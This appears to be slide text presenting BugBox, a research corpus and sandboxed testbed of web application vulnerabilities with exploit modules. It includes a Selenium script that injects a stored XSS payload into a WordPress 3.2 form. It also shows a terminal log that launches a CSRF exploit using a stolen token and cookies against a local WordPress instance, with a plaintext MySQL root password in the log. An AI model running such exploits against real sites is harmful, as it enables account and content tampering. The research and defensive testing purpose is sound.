



# BugBox

A corpus, a testbed, a framework, an aid to research

# Vulnerability data facilitating empirical security research

- Studying past vulnerabilities may provide insight toward detecting or preventing future ones
- Our current research requires well-structured vulnerability data
  - Metrics characterizing aspects of code that are uniquely associated with vulnerabilities
  - New types of vulnerability signatures
  - Examining relationship between features and vulnerability introduction
- Need: A collection of *vulnerable applications with clearly identified vulnerabilities and metadata, running in a test environment facilitating reproducible exploits*

# What is BugBox?

BugBox is a corpus of web application vulnerabilities and associated exploits within a testbed, allowing for repeatable experiments and automated data collection.

- Application and Exploit Modules
- Sandbox for controlled experiments
- A scriptable framework for running security experiments

## Application Modules




WordPress

Exploit 1

Exploit 2

...



cute:flow

Exploit 1

Exploit 2

...

...

SANDBOX

Experimental Instrument

Run  
Exploit



# BugBox



Recorded  
data

- Re-usable modules
- Automated data collection
- Easily developed exploits

# Corpus Structure

- How is BugBox a corpus?
- Benefits of a public corpus.
- What data does the corpus contain?
  - Exploit module
  - PHP web application module
  - Instrumented Data

# Essential qualities of our corpus

- Linguistics
  - A large structured collection used to perform statistical analysis and software testing.
- Facilitates replications of experiments
- Representative examples of the most common exploit classes
- Quality controlled data
- Metadata



# A testbed for experiments

- Large-scale automated security experiments
- Query and run exploits by metadata
- A fresh application environment is created for each exploit
- The testing is contained in a sandbox for exploit - application interaction
- Exploit script

# A framework for quick module development

- Selenium Browser automation framework
  - Javascript support
  - Live display capability
- Engine
  - Automatic application installation and configuration
  - Old applications with dependencies
- Application Module
  - Reuse
- Exploit Module



## OSVDB\_83152: Uploads a XSS payload to WordPress 3.2

```
def exploit(self):
    payload = "<script>prompt(\"Attack!!\")</script>"
    driver = self.create_selenium_driver()
    driver.get("http://localhost/wordpress")
    self.logger.info("Page opened successfully: %s", driver.title)
    self.logger.info("uploading payload: %s", payload)
    driver.get_element(by_xpath="//input[contains(@id,'sk_alias')]").clear()
    driver.get_element(by_xpath="//input[contains(@id,'sk_alias')]").send_keys("John Doe")
    driver.get_element(by_xpath="//input[contains(@id,'sk_email')]").clear()
    driver.get_element(by_xpath="//input[contains(@id,'sk_email')]").send_keys("johndoe@aol.com")
    driver.get_element(by_xpath="//*[contains(@id,'sk_text')]").clear()
    driver.get_element(by_xpath="//*[contains(@id,'sk_text')]").send_keys(payload)
    driver.get_element(by_xpath="//*[contains(@id,'sk_button')]").send_keys("\n")
    driver.get_element(by_class="sk-userdata-user")
    time.sleep(10)
    driver.cleanup()
    return
```

# BugBox applications

- Simulating malicious activities
  - Test
  - Intrusion Detection System (IDS)
  - Intrusion Prevention System (IPS)
- Gauging effectiveness of software hardening techniques
- Testing and training static analysis tools and vulnerability predictive models
- Education and Demonstration

```
Machine View Devices Help
1 2 3 4 5 6 7 8 9 xterm xterm Thu Aug 08, 03:39
root@debian7vm:/usr/lib/bugbox# ./bbmanage.py
Usage: ./bbmanage.py [command] <options>
  Commands:  Options:
  list       <exploits | targets | types | running>
  info       <exploit_name>
  start      <exploit_name>
  exploit    --display --noverify <exploit_name>
  stop
  trace_on
  trace_off
  autorun    <exploit_name>
root@debian7vm:/usr/lib/bugbox# ./bbmanage.py start CVE_2012_
CVE_2012_0209 CVE_2012_2403 CVE_2012_2903_C CVE_2012_2903_F
CVE_2012_1936_A CVE_2012_2903_A CVE_2012_2903_D CVE_2012_2903_G
CVE_2012_1936_B CVE_2012_2903_B CVE_2012_2903_E CVE_2012_2922
root@debian7vm:/usr/lib/bugbox# ./bbmanage.py start CVE_2012_1936_A
[info] <bbmanage> Starting exploit instance (CVE_2012_1936_A)
Description:
This exploit utilizes selenium to login as administrator, extract the _inline_edit CSRF
token, as well as to get some valid session cookies. The POST request is constructed and
sent using urllib. The payload changes the title for the first post.
[info] <Engine> Running application startup
[info] <Engine> EXEC: mkdir /usr/lib/bugbox/live_systems/CVE_2012_1936_A
[info] <Engine> EXEC: mount --bind /usr/lib/bugbox/framework/chroot_erws/Debian7 /usr/li
b/bugbox/live_systems/CVE_2012_1936_A
[info] <Engine> EXEC: mount --bind /dev /usr/lib/bugbox/live_systems/CVE_2012_1936_A/dev
[info] <Engine> EXEC: mount --bind /dev/pts /usr/lib/bugbox/live_systems/CVE_2012_1936_A
/dev/pts
[info] <Engine> EXEC: mount --bind /proc /usr/lib/bugbox/live_systems/CVE_2012_1936_A/pr
oc
[info] <Engine> EXEC: mkdir /usr/lib/bugbox/live_systems/CVE_2012_1936_A/var/www/wordpre
ss
[info] <Engine> EXEC: cp -rR /usr/lib/bugbox/framework/Targets/wordpress_3_3_1/applicati
on/* /usr/lib/bugbox/live_systems/CVE_2012_1936_A/var/www/wordpress
[info] <Engine> EXEC: chown www-data /usr/lib/bugbox/live_systems/CVE_2012_1936_A/var/w
w/wordpress
[info] <Engine> EXEC: chgrp www-data /usr/lib/bugbox/live_systems/CVE_2012_1936_A/var/w
w/wordpress
[info] <Engine> EXEC: chroot /usr/lib/bugbox/live_systems/CVE_2012_1936_A /etc/init.d/ap
ache2 start
[ ok ] Starting web server: apache2.
[info] <Engine> EXEC: while [ ""pgrep apache2"" = "" ]; do sleep 0.5; done;
[info] <Engine> EXEC: mysql -u root -pconnection452 < /usr/lib/bugbox/framework/Targets/
wordpress_3_3_1/database.sql
[info] <Engine> Running exploit setup
root@debian7vm:/usr/lib/bugbox# ./bbmanage.py exploit --display CVE_2012_1936_A

root@debian7vm:/tmp# ./tsh.sh
tshark; Lua: Error during loading:
[string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled
Running as user "root" and group "root". This could be dangerous.
Capturing on lo
[]
```

# Lessons Learned

- Summer Undergraduate Research
- Developing exploit scripts accelerated the corpus development process
  - Vulnerabilities became self documenting
  - Structured development tasks
- Quality control methods are helpful
  - Verification
  - Validation
  - Testing
- Live playback of exploits speeds up development

# Conclusion

BugBox is a corpus of web application vulnerabilities and associated exploits within a testbed, allowing for repeatable experiments and automated data collection.

- 71 Exploits available and development is continuing
- Download @ <http://seam.cs.umd.edu/projects/BugBox>
  - Debian package
  - GitHub repository
- Contribution of BugBox modules are welcome!

# Questions?

---

Availability:

<http://seam.cs.umd.edu/projects/BugBox>

A corpus, a **testbed**, a framework, an aid to research.